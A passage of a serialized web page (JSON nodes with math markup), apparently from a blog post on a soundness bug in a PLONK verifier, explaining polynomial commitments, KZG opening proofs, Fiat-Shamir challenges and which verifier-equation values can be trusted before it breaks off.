",{"type":24,"tag":156,"props":146015,"children":146017},{"className":146016},[7098,7099],[146018],{"type":24,"tag":930,"props":146019,"children":146021},{"className":146020},[7104],[146022],{"type":24,"tag":930,"props":146023,"children":146025},{"className":146024,"ariaHidden":7110},[7109],[146026,146068,146131],{"type":24,"tag":930,"props":146027,"children":146029},{"className":146028},[7115],[146030,146034,146040,146045,146050,146055,146059,146064],{"type":24,"tag":930,"props":146031,"children":146033},{"className":146032,"style":7227},[7120],[],{"type":24,"tag":930,"props":146035,"children":146037},{"className":146036,"style":25221},[7126,24690],[146038],{"type":30,"value":146039},"Z",{"type":24,"tag":930,"props":146041,"children":146043},{"className":146042},[24818],[146044],{"type":30,"value":1010},{"type":24,"tag":930,"props":146046,"children":146048},{"className":146047},[7126,24690],[146049],{"type":30,"value":22378},{"type":24,"tag":930,"props":146051,"children":146053},{"className":146052},[24840],[146054],{"type":30,"value":6249},{"type":24,"tag":930,"props":146056,"children":146058},{"className":146057,"style":7304},[7206],[],{"type":24,"tag":930,"props":146060,"children":146062},{"className":146061},[7309],[146063],{"type":30,"value":1161},{"type":24,"tag":930,"props":146065,"children":146067},{"className":146066,"style":7304},[7206],[],{"type":24,"tag":930,"props":146069,"children":146071},{"className":146070},[7115],[146072,146077,146118,146122,146127],{"type":24,"tag":930,"props":146073,"children":146076},{"className":146074,"style":146075},[7120],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":930,"props":146078,"children":146080},{"className":146079},[7126],[146081,146086],{"type":24,"tag":930,"props":146082,"children":146084},{"className":146083},[7126,24690],[146085],{"type":30,"value":22378},{"type":24,"tag":930,"props":146087,"children":146089},{"className":146088},[7142],[146090],{"type":24,"tag":930,"props":146091,"children":146093},{"className":146092},[7147],[146094],{"type":24,"tag":930,"props":146095,"children":146097},{"className":146096},[7152],[146098],{"type":24,"tag":930,"props":146099,"children":146101},{"className":146100,"style":111192},[7157],[146102],{"type":24,"tag":930,"props":146103,"children":146104},{"style":7161},[146105,146109],{"type":24,"tag":930,"props":146106,"children":146108},{"className":146107,"style":7167},[7166],[],{"type":24,"tag":930,"props":146110,"children":146112},{"className":146111},[7172,7173,7174,7175],[146113],{"type":24,"tag":930,"props":146114,"children":146116},{"className":146115},[7126,24690,7175],[146117],{"type":30,"value":59493},{"type":24,"tag":930,"props":146119,"children":146121},{"className":146120,"style":7207},[7206],[],{"type":24,"tag":930,"props":146123,"children":146125},{"className":146124},[7212],[146126],{"type":30,"value":7186},{"type":24,"tag":930,"props":146128,"children":146130},{"className":146129,"style":7207},[7206],[],{"type":24,"tag":930,"props":146132,"children":146134},{"className":146133},[7115],[146135,146139],{"type":24,"tag":930,"props":146136,"children":146138},{"className":146137,"style":97143},[7120],[],{"type":24,"tag":930,"props":146140,"children":146142},{"className":146141},[7126],[146143],{"type":30,"value":7129},{"type":30,"value":146145}," is zero on exactly those points, so if all constraints hold then ",{"type":24,"tag":156,"props":146147,"children":146149},{"className":146148},[7098,7099],[146150],{"type":24,"tag":930,"props":146151,"children":146153},{"className":146152},[7104],[146154],{"type":24,"tag":930,"props":146155,"children":146157},{"className":146156,"ariaHidden":7110},[7109],[146158],{"type":24,"tag":930,"props":146159,"children":146161},{"className":146160},[7115],[146162,146166,146171,146176,146181],{"type":24,"tag":930,"props":146163,"children":146165},{"className":146164,"style":7227},[7120],[],{"type":24,"tag":930,"props":146167,"children":146169},{"className":146168,"style":25221},[7126,24690],[146170],{"type":30,"value":146039},{"type":24,"tag":930,"props":146172,"children":146174},{"className":146173},[24818],[146175],{"type":30,"value":1010},{"type":24,"tag":930,"props":146177,"children":146179},{"className":146178},[7126,24690],[146180],{"type":30,"value":22378},{"type":24,"tag":930,"props":146182,"children":146184},{"className":146183},[24840],[146185],{"type":30,"value":6249},{"type":30,"value":146187}," divides ",{"type":24,"tag":156,"props":146189,"children":146191},{"className":146190},[7098,7099],[146192],{"type":24,"tag":930,"props":146193,"children":146195},{"className":146194},[7104],[146196],{"type":24,"tag":930,"props":146197,"children":146199},{"className":146198,"ariaHidden":7110},[7109],[146200],{"type":24,"tag":930,"props":146201,"children":146203},{"className":146202},[7115],[146204,146208,146213,146218,146223],{"type":24,"tag":930,"props":146205,"children":146207},{"className":146206,"style":7227},[7120],[],{"type":24,"tag":930,"props":146209,"children":146211},{"className":146210,"style":24691},[7126,24690],[146212],{"type":30,"value":124253},{"type":24,"tag":930,"props":146214,"children":146216},{"className":146215},[24818],[146217],{"type":30,"value":1010},{"type":24,"tag":930,"props":146219,"children":146221},{"className":146220},[7126,24690],[146222],{"type":30,"value":22378},{"type":24,"tag":930,"props":146224,"children":146226},{"className":146225},[24840],[146227],{"type":30,"value":6249},{"type":30,"value":146229},", yielding a quotient polynomial ",{"type":24,"tag":156,"props":146231,"children":146233},{"className":146232},[7098,7099],[146234],{"type":24,"tag":930,"props":146235,"children":146237},{"className":146236},[7104],[146238],{"type":24,"tag":930,"props":146239,"children":146241},{"className":146240,"ariaHidden":7110},[7109],[146242],{"type":24,"tag":930,"props":146243,"children":146245},{"className":146244},[7115],[146246,146250,146255,146260,146265],{"type":24,"tag":930,"props":146247,"children":146249},{"className":146248,"style":7227},[7120],[],{"type":24,"tag":930,"props":146251,"children":146253},{"className":146252,"style":24691},[7126,24690],[146254],{"type":30,"value":9100},{"type":24,"tag":930,"props":146256,"children":146258},{"className":146257},[24818],[146259],{"type":30,"value":1010},{"type":24,"tag":930,"props":146261,"children":146263},{"className":146262},[7126,24690],[146264],{"type":30,"value":22378},{"type":24,"tag":930,"props":146266,"children":146268},{"className":146267},[24840],[146269],{"type":30,"value":6249},{"type":30,"value":24606},{"type":24,"tag":156,"props":146272,"children":146274},{"className":146273},[7098,7099],[146275],{"type":24,"tag":930,"props":146276,"children":146278},{"className":146277},[7104],[146279],{"type":24,"tag":930,"props":146280,"children":146282},{"className":146281,"ariaHidden":7110},[7109],[146283,146324,146365],{"type":24,"tag":930,"props":146284,"children":146286},{"className":146285},[7115],[146287,146291,146296,146301,146306,146311,146315,146320],{"type":24,"tag":930,"props":146288,"children":146290},{"className":146289,"style":7227},[7120],[],{"type":24,"tag":930,"props":146292,"children":146294},{"className":146293,"style":24691},[7126,24690],[146295],{"type":30,"value":124253},{"type":24,"tag":930,"props":146297,"children":146299},{"className":146298},[24818],[146300],{"type":30,"value":1010},{"type":24,"tag":930,"props":146302,"children":146304},{"className":146303},[7126,24690],[146305],{"type":30,"value":22378},{"type":24,"tag":930,"props":146307,"children":146309},{"className":146308},[24840],[146310],{"type":30,"value":6249},{"type":24,"tag":930,"props":146312,"children":146314},{"className":146313,"style":7304},[7206],[],{"type":24,"tag":930,"props":146316,"children":146318},{"className":146317},[7309],[146319],{"type":30,"value":1161},{"type":24,"tag":930,"props":146321,"children":146323},{"className":146322,"style":7304},[7206],[],{"type":24,"tag":930,"props":146325,"children":146327},{"className":146326},[7115],[146328,146332,146337,146342,146347,146352,146356,146361],{"type":24,"tag":930,"props":146329,"children":146331},{"className":146330,"style":7227},[7120],[],{"type":24,"tag":930,"props":146333,"children":146335},{"className":146334,"style":24691},[7126,24690],[146336],{"type":30,"value":9100},{"type":24,"tag":930,"props":146338,"children":146340},{"className":146339},[24818],[146341],{"type":30,"value":1010},{"type":24,"tag":930,"props":146343,"children":146345},{"className":146344},[7126,24690],[146346],{"type":30,"value":22378},{"type":24,"tag":930,"props":146348,"children":146350},{"className":146349},[24840],[146351],{"type":30,"value":6249},{"type":24,"tag":930,"props":146353,"children":146355},{"className":146354,"style":7207},[7206],[],{"type":24,"tag":930,"props":146357,"children":146359},{"className":146358},[7212],[146360],{"type":30,"value":113737},{"type":24,"tag":930,"props":146362,"children":146364},{"className":146363,"style":7207},[7206],[],{"type":24,"tag":930,"props":146366,"children":146368},{"className":146367},[7115],[146369,146373,146378,146383,146388],{"type":24,"tag":930,"props":146370,"children":146372},{"className":146371,"style":7227},[7120],[],{"type":24,"tag":930,"props":146374,"children":146376},{"className":146375,"style":25221},[7126,24690],[146377],{"type":30,"value":146039},{"type":24,"tag":930,"props":146379,"children":146381},{"className":146380},[24818],[146382],{"type":30,"value":1010},{"type":24,"tag":930,"props":146384,"children":146386},{"className":146385},[7126,24690],[146387],{"type":30,"value":22378},{"type":24,"tag":930,"props":146389,"children":146391},{"className":146390},[24840],[146392],{"type":30,"value":6249},{"type":30,"value":436},{"type":24,"tag":33,"props":146395,"children":146396},{},[146397],{"type":24,"tag":140,"props":146398,"children":146401},{"alt":146399,"src":146400},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":151,"props":146403,"children":146405},{"id":146404},"polynomial-commitments-and-opening-proofs",[146406],{"type":30,"value":146407},"Polynomial commitments and opening proofs",{"type":24,"tag":33,"props":146409,"children":146410},{},[146411,146413,146418,146420,146425],{"type":30,"value":146412},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":6032,"props":146414,"children":146415},{},[146416],{"type":30,"value":146417},"commitments",{"type":30,"value":146419},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":6032,"props":146421,"children":146422},{},[146423],{"type":30,"value":146424},"opening proof",{"type":30,"value":146426}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":33,"props":146428,"children":146429},{},[146430],{"type":30,"value":146431},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":151,"props":146433,"children":146435},{"id":146434},"reducing-to-a-single-random-point",[146436],{"type":30,"value":146437},"Reducing to a single random point",{"type":24,"tag":33,"props":146439,"children":146440},{},[146441,146443,146483,146485,146510,146512,146634,146636,146661],{"type":30,"value":146442},"After the prover commits to all polynomials, including ",{"type":24,"tag":156,"props":146444,"children":146446},{"className":146445},[7098,7099],[146447],{"type":24,"tag":930,"props":146448,"children":146450},{"className":146449},[7104],[146451],{"type":24,"tag":930,"props":146452,"children":146454},{"className":146453,"ariaHidden":7110},[7109],[146455],{"type":24,"tag":930,"props":146456,"children":146458},{"className":146457},[7115],[146459,146463,146468,146473,146478],{"type":24,"tag":930,"props":146460,"children":146462},{"className":146461,"style":7227},[7120],[],{"type":24,"tag":930,"props":146464,"children":146466},{"className":146465,"style":24691},[7126,24690],[146467],{"type":30,"value":9100},{"type":24,"tag":930,"props":146469,"children":146471},{"className":146470},[24818],[146472],{"type":30,"value":1010},{"type":24,"tag":930,"props":146474,"children":146476},{"className":146475},[7126,24690],[146477],{"type":30,"value":22378},{"type":24,"tag":930,"props":146479,"children":146481},{"className":146480},[24840],[146482],{"type":30,"value":6249},{"type":30,"value":146484},", the verifier picks a random challenge point ",{"type":24,"tag":156,"props":146486,"children":146488},{"className":146487},[7098,7099],[146489],{"type":24,"tag":930,"props":146490,"children":146492},{"className":146491},[7104],[146493],{"type":24,"tag":930,"props":146494,"children":146496},{"className":146495,"ariaHidden":7110},[7109],[146497],{"type":24,"tag":930,"props":146498,"children":146500},{"className":146499},[7115],[146501,146505],{"type":24,"tag":930,"props":146502,"children":146504},{"className":146503,"style":113316},[7120],[],{"type":24,"tag":930,"props":146506,"children":146508},{"className":146507,"style":116032},[7126,24690],[146509],{"type":30,"value":116035},{"type":30,"value":146511}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":156,"props":146513,"children":146515},{"className":146514},[7098,7099],[146516],{"type":24,"tag":930,"props":146517,"children":146519},{"className":146518},[7104],[146520],{"type":24,"tag":930,"props":146521,"children":146523},{"className":146522,"ariaHidden":7110},[7109],[146524,146565,146606],{"type":24,"tag":930,"props":146525,"children":146527},{"className":146526},[7115],[146528,146532,146537,146542,146547,146552,146556,146561],{"type":24,"tag":930,"props":146529,"children":146531},{"className":146530,"style":7227},[7120],[],{"type":24,"tag":930,"props":146533,"children":146535},{"className":146534,"style":24691},[7126,24690],[146536],{"type":30,"value":124253},{"type":24,"tag":930,"props":146538,"children":146540},{"className":146539},[24818],[146541],{"type":30,"value":1010},{"type":24,"tag":930,"props":146543,"children":146545},{"className":146544,"style":116032},[7126,24690],[146546],{"type":30,"value":116035},{"type":24,"tag":930,"props":146548,"children":146550},{"className":146549},[24840],[146551],{"type":30,"value":6249},{"type":24,"tag":930,"props":146553,"children":146555},{"className":146554,"style":7304},[7206],[],{"type":24,"tag":930,"props":146557,"children":146559},{"className":146558},[7309],[146560],{"type":30,"value":1161},{"type":24,"tag":930,"props":146562,"children":146564},{"className":146563,"style":7304},[7206],[],{"type":24,"tag":930,"props":146566,"children":146568},{"className":146567},[7115],[146569,146573,146578,146583,146588,146593,146597,146602],{"type":24,"tag":930,"props":146570,"children":146572},{"className":146571,"style":7227},[7120],[],{"type":24,"tag":930,"props":146574,"children":146576},{"className":146575,"style":24691},[7126,24690],[146577],{"type":30,"value":9100},{"type":24,"tag":930,"props":146579,"children":146581},{"className":146580},[24818],[146582],{"type":30,"value":1010},{"type":24,"tag":930,"props":146584,"children":146586},{"className":146585,"style":116032},[7126,24690],[146587],{"type":30,"value":116035},{"type":24,"tag":930,"props":146589,"children":146591},{"className":146590},[24840],[146592],{"type":30,"value":6249},{"type":24,"tag":930,"props":146594,"children":146596},{"className":146595,"style":7207},[7206],[],{"type":24,"tag":930,"props":146598,"children":146600},{"className":146599},[7212],[146601],{"type":30,"value":113737},{"type":24,"tag":930,"props":146603,"children":146605},{"className":146604,"style":7207},[7206],[],{"type":24,"tag":930,"props":146607,"children":146609},{"className":146608},[7115],[146610,146614,146619,146624,146629],{"type":24,"tag":930,"props":146611,"children":146613},{"className":146612,"style":7227},[7120],[],{"type":24,"tag":930,"props":146615,"children":146617},{"className":146616,"style":25221},[7126,24690],[146618],{"type":30,"value":146039},{"type":24,"tag":930,"props":146620,"children":146622},{"className":146621},[24818],[146623],{"type":30,"value":1010},{"type":24,"tag":930,"props":146625,"children":146627},{"className":146626,"style":116032},[7126,24690],[146628],{"type":30,"value":116035},{"type":24,"tag":930,"props":146630,"children":146632},{"className":146631},[24840],[146633],{"type":30,"value":6249},{"type":30,"value":146635}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":156,"props":146637,"children":146639},{"className":146638},[7098,7099],[146640],{"type":24,"tag":930,"props":146641,"children":146643},{"className":146642},[7104],[146644],{"type":24,"tag":930,"props":146645,"children":146647},{"className":146646,"ariaHidden":7110},[7109],[146648],{"type":24,"tag":930,"props":146649,"children":146651},{"className":146650},[7115],[146652,146656],{"type":24,"tag":930,"props":146653,"children":146655},{"className":146654,"style":113316},[7120],[],{"type":24,"tag":930,"props":146657,"children":146659},{"className":146658,"style":116032},[7126,24690],[146660],{"type":30,"value":116035},{"type":30,"value":146662}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":33,"props":146664,"children":146665},{},[146666,146668,146693,146695,146700],{"type":30,"value":146667},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":156,"props":146669,"children":146671},{"className":146670},[7098,7099],[146672],{"type":24,"tag":930,"props":146673,"children":146675},{"className":146674},[7104],[146676],{"type":24,"tag":930,"props":146677,"children":146679},{"className":146678,"ariaHidden":7110},[7109],[146680],{"type":24,"tag":930,"props":146681,"children":146683},{"className":146682},[7115],[146684,146688],{"type":24,"tag":930,"props":146685,"children":146687},{"className":146686,"style":113316},[7120],[],{"type":24,"tag":930,"props":146689,"children":146691},{"className":146690,"style":116032},[7126,24690],[146692],{"type":30,"value":116035},{"type":30,"value":146694},", the prover supplies ",{"type":24,"tag":6032,"props":146696,"children":146697},{},[146698],{"type":30,"value":146699},"evaluation claims",{"type":30,"value":146701}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":33,"props":146703,"children":146704},{},[146705,146707,146711],{"type":30,"value":146706},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":6032,"props":146708,"children":146709},{},[146710],{"type":30,"value":2707},{"type":30,"value":146712}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":151,"props":146714,"children":146716},{"id":146715},"what-the-verifier-is-actually-allowed-to-trust",[146717],{"type":30,"value":146718},"What the verifier is actually allowed to trust",{"type":24,"tag":33,"props":146720,"children":146721},{},[146722,146724,146729],{"type":30,"value":146723},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":275,"props":146725,"children":146726},{},[146727],{"type":30,"value":146728},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":30,"value":436},{"type":24,"tag":33,"props":146731,"children":146732},{},[146733,146735,146827,146828,146920,146922,146947,146949,146989,146990,147030,147031,147124,147125,147171,147173,147260,147261,147348,147349,147436],{"type":30,"value":146734},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":156,"props":146736,"children":146738},{"className":146737},[7098,7099],[146739],{"type":24,"tag":930,"props":146740,"children":146742},{"className":146741},[7104],[146743],{"type":24,"tag":930,"props":146744,"children":146746},{"className":146745,"ariaHidden":7110},[7109],[146747],{"type":24,"tag":930,"props":146748,"children":146750},{"className":146749},[7115],[146751,146755,146812,146817,146822],{"type":24,"tag":930,"props":146752,"children":146754},{"className":146753,"style":7227},[7120],[],{"type":24,"tag":930,"props":146756,"children":146758},{"className":146757},[7126],[146759,146764],{"type":24,"tag":930,"props":146760,"children":146762},{"className":146761,"style":25221},[7126,24690],[146763],{"type":30,"value":146039},{"type":24,"tag":930,"props":146765,"children":146767},{"className":146766},[7142],[146768],{"type":24,"tag":930,"props":146769,"children":146771},{"className":146770},[7147,24743],[146772,146801],{"type":24,"tag":930,"props":146773,"children":146775},{"className":146774},[7152],[146776,146796],{"type":24,"tag":930,"props":146777,"children":146779},{"className":146778,"style":145030},[7157],[146780],{"type":24,"tag":930,"props":146781,"children":146782},{"style":118724},[146783,146787],{"type":24,"tag":930,"props":146784,"children":146786},{"className":146785,"style":7167},[7166],[],{"type":24,"tag":930,"props":146788,"children":146790},{"className":146789},[7172,7173,7174,7175],[146791],{"type":24,"tag":930,"props":146792,"children":146794},{"className":146793,"style":96346},[7126,24690,7175],[146795],{"type":30,"value":96349},{"type":24,"tag":930,"props":146797,"children":146799},{"className":146798},[24846],[146800],{"type":30,"value":24849},{"type":24,"tag":930,"props":146802,"children":146804},{"className":146803},[7152],[146805],{"type":24,"tag":930,"props":146806,"children":146808},{"className":146807,"style":96195},[7157],[146809],{"type":24,"tag":930,"props":146810,"children":146811},{},[],{"type":24,"tag":930,"props":146813,"children":146815},{"className":146814},[24818],[146816],{"type":30,"value":1010},{"type":24,"tag":930,"props":146818,"children":146820},{"className":146819,"style":116032},[7126,24690],[146821],{"type":30,"value":116035},{"type":24,"tag":930,"props":146823,"children":146825},{"className":146824},[24840],[146826],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":146829,"children":146831},{"className":146830},[7098,7099],[146832],{"type":24,"tag":930,"props":146833,"children":146835},{"className":146834},[7104],[146836],{"type":24,"tag":930,"props":146837,"children":146839},{"className":146838,"ariaHidden":7110},[7109],[146840],{"type":24,"tag":930,"props":146841,"children":146843},{"className":146842},[7115],[146844,146848,146905,146910,146915],{"type":24,"tag":930,"props":146845,"children":146847},{"className":146846,"style":7227},[7120],[],{"type":24,"tag":930,"props":146849,"children":146851},{"className":146850},[7126],[146852,146857],{"type":24,"tag":930,"props":146853,"children":146855},{"className":146854},[7126,24690],[146856],{"type":30,"value":120439},{"type":24,"tag":930,"props":146858,"children":146860},{"className":146859},[7142],[146861],{"type":24,"tag":930,"props":146862,"children":146864},{"className":146863},[7147,24743],[146865,146894],{"type":24,"tag":930,"props":146866,"children":146868},{"className":146867},[7152],[146869,146889],{"type":24,"tag":930,"props":146870,"children":146872},{"className":146871,"style":96164},[7157],[146873],{"type":24,"tag":930,"props":146874,"children":146875},{"style":96168},[146876,146880],{"type":24,"tag":930,"props":146877,"children":146879},{"className":146878,"style":7167},[7166],[],{"type":24,"tag":930,"props":146881,"children":146883},{"className":146882},[7172,7173,7174,7175],[146884],{"type":24,"tag":930,"props":146885,"children":146887},{"className":146886},[7126,7175],[146888],{"type":30,"value":7129},{"type":24,"tag":930,"props":146890,"children":146892},{"className":146891},[24846],[146893],{"type":30,"value":24849},{"type":24,"tag":930,"props":146895,"children":146897},{"className":146896},[7152],[146898],{"type":24,"tag":930,"props":146899,"children":146901},{"className":146900,"style":96195},[7157],[146902],{"type":24,"tag":930,"props":146903,"children":146904},{},[],{"type":24,"tag":930,"props":146906,"children":146908},{"className":146907},[24818],[146909],{"type":30,"value":1010},{"type":24,"tag":930,"props":146911,"children":146913},{"className":146912,"style":116032},[7126,24690],[146914],{"type":30,"value":116035},{"type":24,"tag":930,"props":146916,"children":146918},{"className":146917},[24840],[146919],{"type":30,"value":6249},{"type":30,"value":146921},", the public-input polynomial at ",{"type":24,"tag":156,"props":146923,"children":146925},{"className":146924},[7098,7099],[146926],{"type":24,"tag":930,"props":146927,"children":146929},{"className":146928},[7104],[146930],{"type":24,"tag":930,"props":146931,"children":146933},{"className":146932,"ariaHidden":7110},[7109],[146934],{"type":24,"tag":930,"props":146935,"children":146937},{"className":146936},[7115],[146938,146942],{"type":24,"tag":930,"props":146939,"children":146941},{"className":146940,"style":113316},[7120],[],{"type":24,"tag":930,"props":146943,"children":146945},{"className":146944,"style":116032},[7126,24690],[146946],{"type":30,"value":116035},{"type":30,"value":146948},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":24,"tag":156,"props":146950,"children":146952},{"className":146951},[7098,7099],[146953],{"type":24,"tag":930,"props":146954,"children":146956},{"className":146955},[7104],[146957],{"type":24,"tag":930,"props":146958,"children":146960},{"className":146959,"ariaHidden":7110},[7109],[146961],{"type":24,"tag":930,"props":146962,"children":146964},{"className":146963},[7115],[146965,146969,146974,146979,146984],{"type":24,"tag":930,"props":146966,"children":146968},{"className":146967,"style":7227},[7120],[],{"type":24,"tag":930,"props":146970,"children":146972},{"className":146971},[7126,24690],[146973],{"type":30,"value":37},{"type":24,"tag":930,"props":146975,"children":146977},{"className":146976},[24818],[146978],{"type":30,"value":1010},{"type":24,"tag":930,"props":146980,"children":146982},{"className":146981,"style":116032},[7126,24690],[146983],{"type":30,"value":116035},{"type":24,"tag":930,"props":146985,"children":146987},{"className":146986},[24840],[146988],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":146991,"children":146993},{"className":146992},[7098,7099],[146994],{"type":24,"tag":930,"props":146995,"children":146997},{"className":146996},[7104],[146998],{"type":24,"tag":930,"props":146999,"children":147001},{"className":147000,"ariaHidden":7110},[7109],[147002],{"type":24,"tag":930,"props":147003,"children":147005},{"className":147004},[7115],[147006,147010,147015,147020,147025],{"type":24,"tag":930,"props":147007,"children":147009},{"className":147008,"style":7227},[7120],[],{"type":24,"tag":930,"props":147011,"children":147013},{"className":147012},[7126,24690],[147014],{"type":30,"value":6343},{"type":24,"tag":930,"props":147016,"children":147018},{"className":147017},[24818],[147019],{"type":30,"value":1010},{"type":24,"tag":930,"props":147021,"children":147023},{"className":147022,"style":116032},[7126,24690],[147024],{"type":30,"value":116035},{"type":24,"tag":930,"props":147026,"children":147028},{"className":147027},[24840],[147029],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":147032,"children":147034},{"className":147033},[7098,7099],[147035],{"type":24,"tag":930,"props":147036,"children":147038},{"className":147037},[7104],[147039],{"type":24,"tag":930,"props":147040,"children":147042},{"className":147041,"ariaHidden":7110},[7109],[147043],{"type":24,"tag":930,"props":147044,"children":147046},{"className":147045},[7115],[147047,147051,147109,147114,147119],{"type":24,"tag":930,"props":147048,"children":147050},{"className":147049,"style":7227},[7120],[],{"type":24,"tag":930,"props":147052,"children":147054},{"className":147053},[7126],[147055,147061],{"type":24,"tag":930,"props":147056,"children":147058},{"className":147057,"style":96598},[7126,24690],[147059],{"type":30,"value":147060},"σ",{"type":24,"tag":930,"props":147062,"children":147064},{"className":147063},[7142],[147065],{"type":24,"tag":930,"props":147066,"children":147068},{"className":147067},[7147,24743],[147069,147098],{"type":24,"tag":930,"props":147070,"children":147072},{"className":147071},[7152],[147073,147093],{"type":24,"tag":930,"props":147074,"children":147076},{"className":147075,"style":96164},[7157],[147077],{"type":24,"tag":930,"props":147078,"children":147079},{"style":96645},[147080,147084],{"type":24,"tag":930,"props":147081,"children":147083},{"className":147082,"style":7167},[7166],[],{"type":24,"tag":930,"props":147085,"children":147087},{"className":147086},[7172,7173,7174,7175],[147088],{"type":24,"tag":930,"props":147089,"children":147091},{"className":147090},[7126,7175],[147092],{"type":30,"value":7129},{"type":24,"tag":930,"props":147094,"children":147096},{"className":147095},[24846],[147097],{"type":30,"value":24849},{"type":24,"tag":930,"props":147099,"children":147101},{"className":147100},[7152],[147102],{"type":24,"tag":930,"props":147103,"children":147105},{"className":147104,"style":96195},[7157],[147106],{"type":24,"tag":930,"props":147107,"children":147108},{},[],{"type":24,"tag":930,"props":147110,"children":147112},{"className":147111},[24818],[147113],{"type":30,"value":1010},{"type":24,"tag":930,"props":147115,"children":147117},{"className":147116,"style":116032},[7126,24690],[147118],{"type":30,"value":116035},{"type":24,"tag":930,"props":147120,"children":147122},{"className":147121},[24840],[147123],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":147126,"children":147128},{"className":147127},[7098,7099],[147129],{"type":24,"tag":930,"props":147130,"children":147132},{"className":147131},[7104],[147133],{"type":24,"tag":930,"props":147134,"children":147136},{"className":147135,"ariaHidden":7110},[7109],[147137],{"type":24,"tag":930,"props":147138,"children":147140},{"className":147139},[7115],[147141,147145,147150,147155,147160,147166],{"type":24,"tag":930,"props":147142,"children":147144},{"className":147143,"style":7227},[7120],[],{"type":24,"tag":930,"props":147146,"children":147148},{"className":147147},[7126,24690],[147149],{"type":30,"value":37},{"type":24,"tag":930,"props":147151,"children":147153},{"className":147152},[24818],[147154],{"type":30,"value":1010},{"type":24,"tag":930,"props":147156,"children":147158},{"className":147157,"style":116032},[7126,24690],[147159],{"type":30,"value":116035},{"type":24,"tag":930,"props":147161,"children":147163},{"className":147162,"style":96598},[7126,24690],[147164],{"type":30,"value":147165},"ω",{"type":24,"tag":930,"props":147167,"children":147169},{"className":147168},[24840],[147170],{"type":30,"value":6249},{"type":30,"value":147172},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":156,"props":147174,"children":147176},{"className":147175},[7098,7099],[147177],{"type":24,"tag":930,"props":147178,"children":147180},{"className":147179},[7104],[147181],{"type":24,"tag":930,"props":147182,"children":147184},{"className":147183,"ariaHidden":7110},[7109],[147185],{"type":24,"tag":930,"props":147186,"children":147188},{"className":147187},[7115],[147189,147193,147198,147255],{"type":24,"tag":930,"props":147190,"children":147192},{"className":147191,"style":7227},[7120],[],{"type":24,"tag":930,"props":147194,"children":147196},{"className":147195},[24818],[147197],{"type":30,"value":6849},{"type":24,"tag":930,"props":147199,"children":147201},{"className":147200},[7126],[147202,147207],{"type":24,"tag":930,"props":147203,"children":147205},{"className":147204,"style":96598},[7126,24690],[147206],{"type":30,"value":96601},{"type":24,"tag":930,"props":147208,"children":147210},{"className":147209},[7142],[147211],{"type":24,"tag":930,"props":147212,"children":147214},{"className":147213},[7147,24743],[147215,147244],{"type":24,"tag":930,"props":147216,"children":147218},{"className":147217},[7152],[147219,147239],{"type":24,"tag":930,"props":147220,"children":147222},{"className":147221,"style":145030},[7157],[147223],{"type":24,"tag":930,"props":147224,"children":147225},{"style":96645},[147226,147230],{"type":24,"tag":930,"props":147227,"children":147229},{"className":147228,"style":7167},[7166],[],{"type":24,"tag":930,"props":147231,"children":147233},{"className":147232},[7172,7173,7174,7175],[147234],{"type":24,"tag":930,"props":147235,"children":147237},{"className":147236,"style":98120},[7126,24690,7175],[147238],{"type":30,"value":98123},{"type":24,"tag":930,"props":147240,"children":147242},{"className":147241},[24846],[147243],{"type":30,"value":24849},{"type":24,"tag":930,"props":147245,"children":147247},{"className":147246},[7152],[147248],{"type":24,"tag":930,"props":147249,"children":147251},{"className":147250,"style":96195},[7157],[147252],{"type":24,"tag":930,"props":147253,"children":147254},{},[],{"type":24,"tag":930,"props":147256,"children":147258},{"className":147257},[24840],[147259],{"type":30,"value":18514},{"type":30,"value":962},{"type":24,"tag":156,"props":147262,"children":147264},{"className":147263},[7098,7099],[147265],{"type":24,"tag":930,"props":147266,"children":147268},{"className":147267},[7104],[147269],{"type":24,"tag":930,"props":147270,"children":147272},{"className":147271,"ariaHidden":7110},[7109],[147273],{"type":24,"tag":930,"props":147274,"children":147276},{"className":147275},[7115],[147277,147281,147286,147343],{"type":24,"tag":930,"props":147278,"children":147280},{"className":147279,"style":7227},[7120],[],{"type":24,"tag":930,"props":147282,"children":147284},{"className":147283},[24818],[147285],{"type":30,"value":6849},{"type":24,"tag":930,"props":147287,"children":147289},{"className":147288},[7126],[147290,147295],{"type":24,"tag":930,"props":147291,"children":147293},{"className":147292,"style":96598},[7126,24690],[147294],{"type":30,"value":96601},{"type":24,"tag":930,"props":147296,"children":147298},{"className":147297},[7142],[147299],{"type":24,"tag":930,"props":147300,"children":147302},{"className":147301},[7147,24743],[147303,147332],{"type":24,"tag":930,"props":147304,"children":147306},{"className":147305},[7152],[147307,147327],{"type":24,"tag":930,"props":147308,"children":147310},{"className":147309,"style":145030},[7157],[147311],{"type":24,"tag":930,"props":147312,"children":147313},{"style":96645},[147314,147318],{"type":24,"tag":930,"props":147315,"children":14